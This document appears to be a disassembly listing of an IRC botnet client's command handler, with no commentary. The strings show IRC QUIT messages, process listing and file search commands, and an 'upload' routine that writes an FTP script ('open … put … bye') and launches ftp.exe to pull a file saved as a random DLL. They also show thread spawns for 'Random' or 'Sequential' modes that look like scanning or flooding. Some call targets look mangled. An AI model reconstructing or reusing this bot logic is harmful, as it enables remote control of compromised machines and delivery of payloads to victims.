		mov	[ebp+var_37C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_2EC], eax
		jz	short loc_406DB6
		push	offset aSub	; "sub"
		push	esi
		call	sub_417870
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_2F4], eax
		jmp	short loc_406DBC
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: sub_403038+3D62j
		mov	[ebp+var_2F4], ebx


loc_406DBC:				; CODE XREF: sub_403038+3D7Cj
		lea	eax, [ebp+var_2E4]
		push	offset dword_438504
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	28h
		push	eax
		call	sub_408E53
		add	esp, 14h
		mov	[ebp+var_2F8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_37C]
		push	ebx
		push	eax
		push	offset word_408EBE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_2F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_406E2A


loc_406E14:				; CODE XREF: sub_403038+3DF0j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_404E30
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_406E14
; ---------------------------------------------------------------------------


loc_406E2A:				; CODE XREF: sub_403038+3DDAj
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_438524


loc_406E36:				; CODE XREF: sub_403038+2ACBj
					; sub_403038+2BB0j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		jmp	loc_404E30
; ---------------------------------------------------------------------------


loc_406E4A:				; CODE XREF: sub_403038+15C7j
					; sub_403038+15DCj
		push	offset aMqbol	; "mqbol"
		lea	eax, [ebp+var_2E4]
		push	offset dword_43848C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 20h
		jmp	loc_4058F0
; ---------------------------------------------------------------------------


loc_406E81:				; CODE XREF: sub_403038+159Dj
					; sub_403038+15B2j
		push	dword_4D3014
		call	sub_413F6C
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438458
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 24h
		jmp	loc_4058F0
; ---------------------------------------------------------------------------


loc_406EBF:				; CODE XREF: sub_403038+1573j
					; sub_403038+1588j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_406EF1
		cmp	[ebp+var_C], ebx
		jz	short loc_406F00
		push	esi
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406F00
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		add	esp, 0Ch
		jmp	short loc_406F00
; ---------------------------------------------------------------------------


loc_406EF1:				; CODE XREF: sub_403038+3E90j
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		pop	ecx
		pop	ecx


loc_406F00:				; CODE XREF: sub_403038+3E95j
					; sub_403038+3EA4j ...
		push	0FFFFFFFEh
		jmp	loc_4034D6
; ---------------------------------------------------------------------------


loc_406F07:				; CODE XREF: sub_403038+1549j
					; sub_403038+155Ej
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	offset dword_438408
		call	sub_410557
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_4034D7
; ---------------------------------------------------------------------------


loc_406F29:				; CODE XREF: sub_403038+151Fj
					; sub_403038+1534j
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	offset dword_4383C4
		call	sub_410557
		add	esp, 0Ch
		jmp	loc_40617E
; ---------------------------------------------------------------------------


loc_406F48:				; CODE XREF: sub_403038+14F5j
					; sub_403038+150Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4094E0
		jmp	loc_408183
; ---------------------------------------------------------------------------


loc_406F5E:				; CODE XREF: sub_403038+14CBj
					; sub_403038+14E0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409475
		jmp	loc_408183
; ---------------------------------------------------------------------------


loc_406F74:				; CODE XREF: sub_403038+14A1j
					; sub_403038+14B6j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4093A7
		jmp	loc_408183
; ---------------------------------------------------------------------------


loc_406F8A:				; CODE XREF: sub_403038+13FCj
					; sub_403038+1411j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_4382E4
		jmp	short loc_406FB2
; ---------------------------------------------------------------------------


loc_406F9F:				; CODE XREF: sub_403038+13D2j
					; sub_403038+13E7j
		push	[ebp+esi+var_8C]
		push	24h
		push	offset aFindFile ; "Find file"
		push	offset dword_4382B0


loc_406FB2:				; CODE XREF: sub_403038+FD7j
					; sub_403038+102Aj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4090E1
		add	esp, 20h
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_406FCE:				; CODE XREF: sub_403038+FEBj
					; sub_403038+1000j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_406FED
		push	edi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jz	short loc_406FED
		push	edi
		call	sub_4174D0
		pop	ecx
		jmp	short loc_406FF2
; ---------------------------------------------------------------------------


loc_406FED:				; CODE XREF: sub_403038+3F9Fj
					; sub_403038+3FAAj
		mov	eax, dword_436C08


loc_406FF2:				; CODE XREF: sub_403038+3FB3j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_300], eax
		cmp	esi, ebx
		jz	short loc_407017
		push	esi


loc_407004:				; CODE XREF: sub_403038+3FEEj
		lea	eax, [ebp+var_310]
		push	10h
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		jmp	short loc_40702E
; ---------------------------------------------------------------------------


loc_407017:				; CODE XREF: sub_403038+3FC9j
		cmp	[ebp+var_99B], bl
		jz	short loc_407028
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_407004
; ---------------------------------------------------------------------------


loc_407028:				; CODE XREF: sub_403038+3FE5j
		mov	[ebp+var_310], bl


loc_40702E:				; CODE XREF: sub_403038+3FDDj
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2F4], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_390]
		push	eax
		mov	[ebp+var_394], esi
		call	sub_4172D0
		add	esp, 0Ch
		push	[ebp+var_300]
		push	esi
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_437EB4
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	19h
		push	eax
		call	sub_408E53
		add	esp, 1Ch
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_394]
		push	ebx
		push	eax
		push	offset word_40F9E6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_4070DF


loc_4070C9:				; CODE XREF: sub_403038+40A5j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_4034D4
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4070C9
; ---------------------------------------------------------------------------


loc_4070DF:				; CODE XREF: sub_403038+408Fj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset dword_437EDC
		jmp	loc_408716
; ---------------------------------------------------------------------------


loc_4070F0:				; CODE XREF: sub_403038+F98j
					; sub_403038+FADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_407110
		push	esi
		call	sub_4174D0
		test	ax, ax
		pop	ecx
		jz	short loc_407110
		push	esi
		call	sub_4174D0
		pop	ecx
		jmp	short loc_407116
; ---------------------------------------------------------------------------


loc_407110:				; CODE XREF: sub_403038+40C1j
					; sub_403038+40CDj
		mov	ax, word_436C18


loc_407116:				; CODE XREF: sub_403038+40D6j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	word ptr [ebp+var_300],	ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_380]
		push	eax
		mov	[ebp+var_384], esi
		mov	[ebp+var_2F4], edi
		call	sub_4172D0
		movzx	eax, word ptr [ebp+var_300]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_437E10
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_401445
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	6
		push	eax
		call	sub_408E53
		add	esp, 30h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_384]
		push	ebx
		push	eax
		push	offset dword_40CFDC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_4071E5


loc_4071CF:				; CODE XREF: sub_403038+41ABj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_4034D4
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4071CF
; ---------------------------------------------------------------------------


loc_4071E5:				; CODE XREF: sub_403038+4195j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_437E3C
		jmp	loc_408716
; ---------------------------------------------------------------------------


loc_4071F6:				; CODE XREF: sub_403038+F6Ej
					; sub_403038+F83j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413D8F
		jmp	loc_408183
; ---------------------------------------------------------------------------


loc_40720C:				; CODE XREF: sub_403038+F44j
					; sub_403038+F59j
		push	offset unk_437D40
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_407216:				; CODE XREF: sub_403038+F1Aj
					; sub_403038+F2Fj
		push	offset aBy	; "By"
		push	offset dword_437D20


loc_407220:				; CODE XREF: sub_403038+2A6Cj
					; sub_403038+2D90j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0


loc_40722C:				; CODE XREF: sub_403038+38F6j
		add	esp, 0Ch
		jmp	loc_4058CF
; ---------------------------------------------------------------------------


loc_407234:				; CODE XREF: sub_403038+EF0j
					; sub_403038+F05j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40728B
		push	esi
		call	sub_4174D0
		cmp	eax, ebx
		pop	ecx
		jl	short loc_407283
		cmp	eax, 3
		jge	short loc_407283
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40727B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_437C7C
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	short loc_4072D4
; ---------------------------------------------------------------------------


loc_40727B:				; CODE XREF: sub_403038+4225j
		push	eax
		push	offset unk_437C9C
		jmp	short loc_4072C5
; ---------------------------------------------------------------------------


loc_407283:				; CODE XREF: sub_403038+4210j
					; sub_403038+4215j
		push	eax
		push	offset unk_437CC8
		jmp	short loc_4072C5
; ---------------------------------------------------------------------------


loc_40728B:				; CODE XREF: sub_403038+4205j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_407290:				; CODE XREF: sub_403038+4274j
		push	[ebp+var_90]
		push	edi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4072B0
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_407290
		jmp	short loc_4072D4
; ---------------------------------------------------------------------------


loc_4072B0:				; CODE XREF: sub_403038+4268j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437CF4


loc_4072C5:				; CODE XREF: sub_403038+255Aj
					; sub_403038+2588j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_4072D4:				; CODE XREF: sub_403038+2548j
					; sub_403038+256Ej ...
		cmp	[ebp+var_8], ebx
		jnz	loc_403953
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h
		jmp	loc_403953
; ---------------------------------------------------------------------------


loc_4072FE:				; CODE XREF: sub_403038+EC6j
					; sub_403038+EDBj
		push	[ebp+var_8C]
		push	offset a332_2	; "332"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404928
		call	sub_40901C
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_407324:				; CODE XREF: sub_403038+1C68j
		push	edi
		push	offset aHttpcon	; "httpcon"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40734A
		push	edi
		push	offset aHcon	; "hcon"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4073D4


loc_40734A:				; CODE XREF: sub_403038+42FBj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+esi+var_84]
		push	[ebp+arg_0]
		call	sub_4174D0
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40E8F7
		jmp	loc_40858C
; ---------------------------------------------------------------------------


loc_407382:				; CODE XREF: sub_403038+1C3Ej
					; sub_403038+1C53j
		push	0Bh
		call	sub_40909B
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		call	sub_4174D0
		add	eax, [ebp+arg_18]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_40754D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	offset unk_439C98
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 20h


loc_4073D4:				; CODE XREF: sub_403038+430Cj
		cmp	[ebp+esi+var_7C], ebx
		jz	loc_4034D4
		push	edi
		push	offset aUpload	; "upload"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40858F
		mov	edi, [ebp+esi+var_7C]
		push	4
		push	edi
		mov	[ebp+arg_18], edi
		call	sub_41156C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407413
		push	edi
		push	offset unk_439E8C
		jmp	loc_40511A
; ---------------------------------------------------------------------------


loc_407413:				; CODE XREF: sub_403038+43CEj
		call	near ptr 26C05FFh
		nop
		push	eax
		call	sub_417B00
		pop	ecx
		call	sub_417B10
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417B10
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417B10
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C84]
		push	edx
		push	eax
		lea	eax, [ebp+var_B80]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_B80]
		push	offset aAb	; "ab"
		push	eax
		call	sub_417050
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_4034D4
		push	[ebp+arg_18]
		mov	edi, [ebp+esi+var_8C]
		push	[ebp+arg_10]
		push	[ebp+esi+var_84]
		push	[ebp+arg_0]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_418240
		push	[ebp+arg_24]
		call	sub_414C60
		lea	eax, [ebp+var_B80]
		push	eax
		lea	eax, [ebp+var_4E4]
		push	offset aSS_0	; "-s:%s"
		push	eax
		call	sub_4171D0
		add	esp, 2Ch
		lea	eax, [ebp+var_4E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4452B4
		push	edi
		push	[ebp+arg_18]
		test	eax, eax
		jz	short loc_4074EC
		push	offset unk_439EFC
		jmp	short loc_4074F1
; ---------------------------------------------------------------------------


loc_4074EC:				; CODE XREF: sub_403038+44ABj
		push	offset dword_439F24


loc_4074F1:				; CODE XREF: sub_403038+44B2j
		call	sub_4171D0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40751A
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_40751A:				; CODE XREF: sub_403038+44C4j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557


loc_407526:				; CODE XREF: sub_403038+4513j
		lea	eax, [ebp+var_B80]
		push	4
		push	eax
		call	sub_41156C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4034D4
		lea	eax, [ebp+var_B80]
		push	eax
		call	sub_4181D0
		jmp	short loc_407526
; ---------------------------------------------------------------------------


loc_40754D:				; CODE XREF: sub_403038+4366j
		push	[ebp+esi+var_8C]
		call	sub_4174D0
		push	[ebp+arg_0]
		mov	[ebp+var_41C], eax
		call	sub_4174D0
		push	[ebp+esi+var_84]
		mov	[ebp+var_404], eax
		call	sub_4174D0
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_418], eax
		jnb	short loc_407590
		push	5
		pop	eax
		mov	[ebp+var_418], eax


loc_407590:				; CODE XREF: sub_403038+454Dj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40759D
		mov	[ebp+var_418], ecx


loc_40759D:				; CODE XREF: sub_403038+455Dj
		push	[ebp+arg_10]
		call	sub_4174D0
		mov	[ebp+var_414], eax
		mov	eax, 320h
		cmp	[ebp+var_414], eax
		pop	ecx
		jbe	short loc_4075BF
		mov	[ebp+var_414], eax


loc_4075BF:				; CODE XREF: sub_403038+457Fj
		or	[ebp+var_400], 0FFFFFFFFh
		cmp	dword_43DE38, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_407612
		mov	edi, offset dword_43DE38


loc_4075D6:				; CODE XREF: sub_403038+45BCj
		push	[ebp+esi+var_8C]
		lea	eax, [edi-28h]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4075F8
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4075D6
		jmp	short loc_407612
; ---------------------------------------------------------------------------


loc_4075F8:				; CODE XREF: sub_403038+45B2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_400], eax
		shl	ecx, 6
		mov	ecx, dword_43DE38[ecx]
		mov	[ebp+var_41C], ecx


loc_407612:				; CODE XREF: sub_403038+4597j
					; sub_403038+45BEj
		cmp	[ebp+var_41C], ebx
		jnz	short loc_407621
		push	offset unk_439CD8
		jmp	short loc_407679
; ---------------------------------------------------------------------------


loc_407621:				; CODE XREF: sub_403038+45E0j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40765C
		cmp	byte ptr [edi],	23h
		jz	short loc_40765C
		push	edi
		lea	eax, [ebp+var_530]
		push	10h
		push	eax
		call	sub_4172D0
		push	78h
		push	edi
		call	sub_4185C0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_3F0], eax
		jmp	loc_40773E
; ---------------------------------------------------------------------------


loc_40765C:				; CODE XREF: sub_403038+45F2j
					; sub_403038+45F7j
		cmp	[ebp+var_99B], bl
		jnz	short loc_40768C
		cmp	[ebp+var_99A], bl
		jnz	short loc_40768C
		cmp	[ebp+var_98A], bl
		jnz	short loc_40768C
		push	offset unk_439D0C


loc_407679:				; CODE XREF: sub_403038+2FC7j
					; sub_403038+348Cj ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_405129
; ---------------------------------------------------------------------------


loc_40768C:				; CODE XREF: sub_403038+462Aj
					; sub_403038+4632j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_4452EC
		mov	al, [ebp+var_99B]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_417770
		add	esp, 0Ch
		cmp	[ebp+var_98A], bl
		jz	short loc_407738
		xor	eax, eax
		cmp	[ebp+var_99B], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_418310
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40772C


loc_40770A:				; CODE XREF: sub_403038+46F2j
		cmp	eax, ebx
		jz	short loc_40772C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_530]
		push	30h
		push	eax
		call	sub_418310
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40770A


loc_40772C:				; CODE XREF: sub_403038+46D0j
					; sub_403038+46D4j
		mov	[ebp+var_3F0], 1
		jmp	short loc_40773E
; ---------------------------------------------------------------------------


loc_407738:				; CODE XREF: sub_403038+46AAj
		mov	[ebp+var_3F0], ebx


loc_40773E:				; CODE XREF: sub_403038+461Fj
					; sub_403038+46FEj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_520]
		push	edi
		push	eax
		call	sub_4172D0
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40778F


loc_40777C:				; CODE XREF: sub_403038+477Aj
		push	esi


loc_40777D:				; CODE XREF: sub_403038+4764j
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		jmp	short loc_4077BA
; ---------------------------------------------------------------------------


loc_40778F:				; CODE XREF: sub_403038+4742j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40779E
		cmp	byte ptr [eax],	23h
		jnz	short loc_40779E
		push	eax
		jmp	short loc_40777D
; ---------------------------------------------------------------------------


loc_40779E:				; CODE XREF: sub_403038+475Cj
					; sub_403038+4761j
		mov	esi, offset aRpmxp_0 ; "#RpmXp"
		push	offset dword_4D31A0
		push	esi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40777C
		mov	[ebp+var_4A0], bl


loc_4077BA:				; CODE XREF: sub_403038+4755j
		cmp	[ebp+var_3F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_4077CC
		mov	eax, offset aSequential_0 ; "Sequential"


loc_4077CC:				; CODE XREF: sub_403038+478Dj
		push	[ebp+var_404]
		lea	ecx, [ebp+var_530]
		push	[ebp+var_414]
		push	[ebp+var_418]
		push	[ebp+var_41C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_439D54
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Bh
		push	eax
		call	sub_408E53
		add	esp, 2Ch
		mov	[ebp+var_410], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_530]
		push	ebx
		push	eax
		push	offset loc_40A0E0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_410]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40785A


loc_407844:				; CODE XREF: sub_403038+4820j
		cmp	[ebp+var_3EC], ebx
		jnz	loc_405129
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_407844
; ---------------------------------------------------------------------------


loc_40785A:				; CODE XREF: sub_403038+480Aj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_439DBC
		jmp	loc_40511A
; ---------------------------------------------------------------------------


loc_40786B:				; CODE XREF: sub_403038+1C14j
					; sub_403038+1C29j
		push	[ebp+esi+var_8C]
		call	sub_402561
		push	[ebp+arg_0]
		mov	[ebp+var_2FC], eax
		call	sub_4174D0
		push	[ebp+esi+var_84]
		mov	[ebp+var_30C], eax
		call	sub_4174D0
		push	[ebp+arg_10]
		mov	[ebp+var_308], eax
		call	sub_4174D0
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_38C]
		mov	[ebp+var_390], esi
		push	eax
		call	sub_417770
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], edi
		push	[ebp+var_308]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_30C]
		push	[ebp+var_304]
		push	[ebp+var_2FC]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_439C00
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Bh
		push	eax
		call	sub_408E53
		add	esp, 24h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_390]
		push	ebx
		push	eax
		push	offset byte_40A4FD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40796A


loc_407954:				; CODE XREF: sub_403038+4930j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_407EE8
		push	32h
		call	near ptr 2690599h
		nop
		jmp	short loc_407954
; ---------------------------------------------------------------------------


loc_40796A:				; CODE XREF: sub_403038+491Aj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_439C50
		jmp	loc_407ED9
; ---------------------------------------------------------------------------


loc_40797B:				; CODE XREF: sub_403038+1BDBj
					; sub_403038+1BF0j
		mov	edi, [ebp+esi+var_8C]
		push	edi
		mov	[ebp+arg_10], edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		cmp	byte_446228[eax], bl
		jz	loc_40858F
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+arg_0]
		call	sub_414BE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_414BE0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_414BE0
		add	eax, [ebp+var_C]
		push	[ebp+esi+var_84]
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_417B50
		mov	esi, eax
		lea	eax, [ebp+var_2E4]
		push	esi
		push	offset dword_439BD4
		push	eax
		call	sub_4171D0
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40858F
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_40858F
		push	edi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_401445
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_446010[eax], 73h
		jnz	loc_40858F
		push	esi
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_446228
		push	eax
		push	[ebp+arg_0]
		push	offset dword_439BE0


loc_407A76:				; CODE XREF: sub_403038+4B4Ej
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445


loc_407A9B:				; CODE XREF: sub_403038+3A37j
		add	esp, 28h
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_407AA3:				; CODE XREF: sub_403038+1BB1j
